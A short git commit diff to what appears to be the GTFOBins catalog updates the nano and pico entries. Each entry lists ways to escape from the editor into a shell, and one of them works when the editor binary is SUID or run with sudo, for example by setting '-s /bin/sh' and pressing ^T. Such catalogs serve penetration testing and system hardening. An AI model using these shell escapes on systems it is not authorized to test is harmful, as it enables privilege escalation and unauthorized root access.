Fix wrong nano and pico SUID

This commit is contained in:
Andrea Cardaci 2021-01-10 17:56:17 +01:00
parent 01d4de40d2
commit 33fb39a183
2 changed files with 8 additions and 8 deletions

View File

@ -17,12 +17,12 @@ functions:
^O
file-read:
- code: nano file_to_read
suid:
limited-suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
./nano
^R^X
reset; sh 1>&0 2>&0
./nano -s /bin/sh
/bin/sh
^T
sudo:
- code: |
sudo nano

View File

@ -17,12 +17,12 @@ functions:
^O
file-read:
- code: pico file_to_read
suid:
limited-suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
./pico
^R^X
reset; sh 1>&0 2>&0
./pico -s /bin/sh
/bin/sh
^T
sudo:
- code: |
sudo pico